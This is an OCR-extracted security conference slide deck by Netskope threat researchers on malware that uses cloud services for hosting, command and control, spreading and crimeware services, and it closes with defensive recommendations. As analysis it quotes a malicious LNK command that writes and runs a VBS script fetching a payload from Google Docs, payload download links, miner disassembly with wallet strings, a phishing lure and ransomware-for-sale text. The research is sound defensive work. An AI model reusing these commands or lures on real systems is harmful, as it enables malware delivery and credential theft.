— &%’ netskope —
THREAT LABS

Cloud as an attack vector
Ashwin & Rushikesh




Rushikesh Vishwakarma
Anetskop

® Member of Technical Staff, Netskope

o Cloud Security Enthusiast
o ldentifying the malware & phishing services using cloud

o  https://www.netskope.com/blog/author/rushikeshvishwakarma



Ashwin Vamshi

e Staff Security Research Engineer, Netskope
o Interestin targeted attacks and malwares using cloud services
o Speaker @ RSA, Defcon, Bsides
o https://www.netskope.com/blog/author/ashwinvamshi

o https://www.linkedin.com/in/ashwinvamshi




Cloud Transformation

YOU’RE
PRETTY NEW

> Enterprises are moving towards Cloud E?S‘Efc‘;’é’,

> The traffic has moved from static websites to cloud AREN'T
% Evaluations? =S '
> Do we know what is shared responsibility ?
m Arewe having enough controls ?
> Whatis our security posture ?

%

% Threat actors
> |canhazCloud
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Cloud Security Posture
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Malware in the Cloud




Motivation for Threat actors to use Cloud

K/
L 44

Implicit trust

K/
L X4

Ease of use and abuse

Reduces the infrastructure overhead

X/
L X4

>

% More powerful than traditional hosting or computing services

Significantly cheaper than traditional attack methods (No DGA or BPH needed)

K/
L 44

% Protection by default (encrypted traffic, APl driven communication, etc)



Alright ... Light, action, Cloud

I
Security Warning X

. — - -

The document is trying to connect to:

- - https://appengine.google.com

'

If you trust the site, choose Allow. If you don't trust the site, choose Block.

[C]Remember this action for this site for all PDF documents.

Block Cancel
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https:/lappengine.google.com/_ah/logout?continue=https%3A%2F%2Ftransef.biz%2FDoc102018.doc
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Agenda

% Detail specific attack patterns with the theme: Malware in the Cloud (MITC)
> Cloud as a malware hosting platform
> Cloud as acommand and control channel
>  Cloud as a platform to spread malware
>  Cloud as a platform to host Crimeware as a Service

% How to protect against cloud threats
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Cloud as a malware hosting platform
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Cloud squirrel

Infostealer campaign

>  Targets Brazilian users

Infection vector

> Phishing email attachment with double extension
> Embedded link to a cloud service — JAR file
Multi-stage cloud app abuse

> Jelastic — CloudApp — AmazonAWS — Dropbox
Downloads next stage DES encrypted payloads

public static String keys = "squirrell23”;
public static String filel;
public static String filel;
public static String filel;
public static String files;
private static Process kall;

https://www.netskope.com/blog/netskope-threat-research-labs-technical-analysis-cloudsgquirrel-malware-2



https://www.netskope.com/blog/netskope-threat-research-labs-technical-analysis-cloudsquirrel-malware-2

Cloud squirrel depiction
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ShortJSRAT

% Scriptlets using the “Squiblydoo” technique

K/
0’0

Bypasses application whitelisting solutions like Windows Applocker
% Uses Cloud services for downloading the next stage payloads

> Google Shortener, Dropbox, Github

https://www.netskope.com/blog/shortjsrat-leverages-cloud-scriptlets



https://www.netskope.com/blog/shortjsrat-leverages-cloud-scriptlets

ShortJSRAT Depiction

b2

Dropb

Cloud Storage

http://goo.gl/kq92ka ) ({OX\)

Dropbox/1.sct
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Cloud as a command and control channel




Xbooster parasitic miner

% Parasitic Monero mining malware campaign

% Pay-per-install (PPI) & pay-per-click (PPC)

% Amazon S3 — Downloader, C&C

%  GetNativeSystemlInfo OS Check — Monero addresses allocated for 32 bit and 64 bit OS
m  401.52 XMR (~$100,000) using 21 unique Monero accounts & 293 workers

IES SE3BO666 Call <adobeFla_GetHativeSystemInfo> I

83FF ©1
76 ©1
uF

68 289B43088

8D8C24 ACB10
E8 F30880000
6A 606

E8 A1CBOO666
83Cu oO6n

58

ES8 186ABOOGOO
83Cca 84
E8 E7AAGBG8

29

B9 OF 866600606

F7F9

83FAa ©O1

75 63

8B84u24 BCO1O
SF

cC78u245 B8O616
68 BEOOOOGOO6
8DB424 ACHB10
BF43B424 ACO
68 ES89Ba3006
56

CHMP EDI ,1
JBE SHORT AdobeFla.08846856C
DEC EDI

PUSH AdobeFla.B88439B28 32 bit ""a5amt6kulJo7KUKnrcwlLuAU JjP39P6JCO640iTEYqAe7Z8FUXBCFLXBQzYEZKAFUsSSeDu7bg5dFMae fFUSmc™"
LEA ECX,DWORD PTR SS:c[ESP+1AC] [

CALL <AdobeFla.Complier_Call> AdobeFla.004608E106

PUSH © Aargl - 00600066006

CALL <AdobeFla.Complier_Call> AdobeFla.864156CS

ADD ESP .4

PUSH EAX [nrg1 = 881508000

CALL <AdobeFla.Complier_Call> AdobeFla.86413603D

ADD ESP .4
CALL <AdobeFla.Complier_Call>

cba
MOU ECX, 0F

IDIU ECX

CHP EDX,1

JNZ SHORT AdobeFla.004085A5

MOU EAX,DWORD PTR SS:[ESP+1BC]
CHP EAX,S5F

JBE SHORT AdobeFla.O00408589

CHP EAX.8

MOU DWORD PTR SS:[ESP+1B8].5F
PUSH OBE

LEA ESI,DWORD PTR SS:[ESP+1acC]
CHOUNB ESI,DWORD PTR SS:[ESP+1AC]
PUSH AdobeFla.B00439BES 64 _bit “"ulompKcSrx9eEXt JITTmM6 jg8p. Msuy 739y FZ7ThiSUzsULmeZhbtUB61+-F7EAUSJeRJKGQHLLFi3hR""
PUSH ESI

https://www.netskope.com/blog/xbooster-parasitic-monero-mining-campaign



https://www.netskope.com/blog/xbooster-parasitic-monero-mining-campaign

Xbooster Depiction {/S
Amazon

Download
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@ % DBupdater.exe log.txt
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Xmrijhexe
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DistribLauncher.exe & MO N E RO
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Cloud as a platform to spread malware




Malware fanout

% Malware infection spreading through cloud
% Virlock (Wormed Ransomware)
> |nfects and encrypts files
> Infected files propagate via cloud
> Victims implicitly trust internally shared files

% Rapidly the entire peer network is infected

https://www.netskope.com/blog/cloud-malware-fan-virlock-ransomware

https://www.netskope.com/blog/stepping-stone-attack-launches-eternalblue-internally



https://www.netskope.com/blog/cloud-malware-fan-virlock-ransomware
https://www.netskope.com/blog/stepping-stone-attack-launches-eternalblue-internally

Eternal Blue + cloud fanout

Embedded LNK document
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Cloud phishing fanout

« Victim shares bait via cloud app

>  Secondary propagation vector - cloud sync email attachments

> Secondary victims lose context - where did the file originally come from?
% “Default allow” action in popular PDF readers

> Nowarnings after you allow a domain

> Attacker can easily deploy multiple attacks over same domain

ast @gmail.com has invited you to view the following document:

El Reimbursement_Bill

Ashwin Vamshi (via Google Docs)

Sorry for sharing this document via personal email. Can you please review and
- 1o

approve the reimbursement bill

Open in Docs

<a href="mailto:ashwin.vamshi@gmail.com" style="color:inherit;text-decoration:none">ashwin.
vamshi@gmail.com</a> is outside your organization.

https://www.netskope.com/blog/decoys-phishing-cloud-latest-fan-effect



https://www.netskope.com/blog/decoys-phishing-cloud-latest-fan-effect

Whats next !!!

The document is trying to connect to:

! \ https://www.dropbox.com
Do you trust dropbox.com? If you trust the site, choose Allow. If you do not trust the
® — —— - site, choose Block.
.:‘“_ - Remember this action for this site for all PDF documents

Secured POF Online Document Help Allow Block Cancel

https.//www.dropbox.com/s/31x4e7a25kp2tuk/scan_ 0009182764501.exe?dl=1



Default Allow policy

Adobe Reader 9 1
Security Warning
The document is trying to connect to
! http:jftinyurl.comfwSvyhwo
IF you trust the site, choose allow. If you do not trust the site, choose Block.
[CJremember my action for this site
I Help ] [ Allows ] [ Block ]
A
\

Foxit Reader 5.0

x

Foxit Reader
The document is trying to connect to the site:
by
http: fftinyurl.comfwSwyhwo

If you trust the site, click "Yes", otherwise click "No"

[ Yes ] [ MNo ]

[ Adobe Reader X §
Security Warning
The document is trying to connect to:
! http: fftinyurl.com

Do you trust tinyurl.com? IF you trust the site, choose allow. If you do not trust
the site, choose Block.

Remember this action for this site for all PDF documents

Help [ Allows I [ Block ] [ Cancel ]

>

Foxit Reader 9.0

Security Warning

The document is trying to connect to:

http://tinyurl.com

If you trust the site, choose Allow. If you don't trust the site, choose Block.

[C] Remember this action for this site for all PDF documents.

Block Cancel




Manage Sites

Did you audit trust manager ?

(@ Custom setting

(O Alow PDF files to access al web sites

(O Block PDF files' access to all web sites
Preferences X
Specify Web Sites to Alow or Block
Create PDF 2 JavaScript 2 Host name (www.example.com):
Documents
ECM Integration Enable JavaScript Actions
File Associations
oS Trust Manager
Foxit Drive : ! . g : e
Foxit recommends that you check this option for controling unauthorized actions and data Web Sites
Full Screen transmissions; including URL connections, launching external files and running JavaScript functions to
General efficiently avoid attacks from malicious documents.
De
History
Identity Enable Safe Reading Mode Stes Name Access Right
Languages
Measuring []Disable Safe Reading Mode for Trusted Documents
Page Displa
o ey Advanced Preferences...
PDF Sign
Print
Reading Internet Access from PDF Files outside the web browser
Reviewing
Security Unless explictly permitted, PDF files cannot send information to the Internet.
Signature
Speech Change Settings... Defauk behavior for web sites that are not in the above kst:
Speling ® Alays ask
Tablet i
: Open Foxit Reader from applications without valid digital signatures O Allow access
Time Stamp Servers
~
Trust Manager Foxit Reader wil show a warning message when an application without a vaid digital signature ) Block access
|_Updater ¥ attempts to open it. 7
conce




Pardot CRM attack

%  Spreads via Salesforce Pardot
> 12 unique URLs
< Pardot delivers infected zip
< Zip contains malicious Ink file
%  Lnk file downloads Trickbot from Google docs

Relative path (UNICODE): <\ LG\ \Windows \System32\emd. exe
Arguments (UNICODE): /c copy yciBx & (findstr "mPmHc.*" Readme_Print.doc.lnk > "%tmp%\InyQc.vbs" & "%tmp%\InYQc.vbs") & iEhgd

0

filepath = wshs.ExpandEnvironmentStrings("#TEMP%") & "\NaFhI.exe"

URL = "https://docs.google.com/uc?export=download&id=1Eum9C8ESMTDi0GGC0Z2FOVDPZ_
W—u-s"

https://www.netskope.com/blog/pardot-crm-attack
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Pardot CRM Attack Depiction

Readme_print_doc.Ink

- N\

storage.pardot.com/./Readm_Print.zip g E docs.google.com/./3829_93_93.pdf

Partner

-

User

2

Pardot CRM \

Google Drive

NaFhl.exe

I
I
I
I
I
I
I
I
I
I
I
I
|

-

Victim N o s

-
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Cloud as a platform to host crimeware as a service




RANIQN - Better & Cheapest FUD Ransomware + C&C on Darknet + NO Fees

BUY-FAQ - REVIEWS - SCREENS - CONTACT

e provide an aiready configured and compiled FUD Ransomeare + Decrypter
e are the only that provide a FREE Anommons CéC Dashboard via Onion fo manage your Clients
We also provide additional FREE Customizations and take NO FEES from your Clients

Blackmall Ransomware

5,00 ¢

- WMASY To use

- encrypted with AXS-256

~ oa send as exe, bat, dll, soxr, and ond
= when want delete it copies itself

~ oan use with binderxrs, packers & cxypters

LI Add to Card

Kategorle: Ronsormwar e SchiGssetworte: guto,

DHCOHM. RDOINCL IMAIWare. (aNsSonnwa e,

SOMWOTE, SO e, Stampado, steaber, ush




Hackshit - Phishing as a Service

O

% PhaaS: Hosted in Amazon, Evennode, Now.

%  Phishing pages hosted in Pomf clones

>  SSL powered

> Designed to mimic login pages of
popular services like Microsoft, Google
Docs, Dropbox, and DocuSign , e

<  Victims credentials recorded via websockets e - """fT??tif’“‘;” !

https://www.netskope.com/blog/resurgence-of-phishing-as-a-service-phaas-platforms
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Hackshit PhaaS - Generator Page

e wshboard  Links/Generator 3 Marketplace Free Tutoriais B
Page Generator

0®0

Current Running Pages

Christianmingle POF Google_Doc Yahoo

ChristianMingle POF B YAHOQO!

P +90 €+

Jiayuan Facebook Firstmet Chrmistry

@ FirstMet

SeniorPeopleMeet Zoosk SeniorSoulMate eHarmony

zoBsk 9 e




Cloud-enabled kill chain

Data EXxfiltration

SSL powered Cloud Payloads / Malware
Cloud Security Posture Valid domain / Certificate Whitelisted / Popular Domains/IPs Lateral Movement

O i

CALLBACK

O

6
Tactics Collaboration Stage downloader
Techniques Sync C&C

Procedures Fanout effects

33



Cloud malware commonalities

o

% Users trust cloud services

% Users trust cloud files shared by coworkers and partners

% Blocking cloud malware is hard - you can'’t just block the app



Recommendations

% Inspect your cloud traffic

% Block services you don’t need

% Block unsanctioned instances of services you do need
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Thank You!

N
B Io THE DARK SIDE OF THE CLOUD Re ort
CLOUD ENABLED THREATS. NSITIVE DATA IS MOVING
'ARE ON THE RISE 3 BETWEEN CLOUD APPS

netskope.com/threat-labs i netskope.com/cloudreport




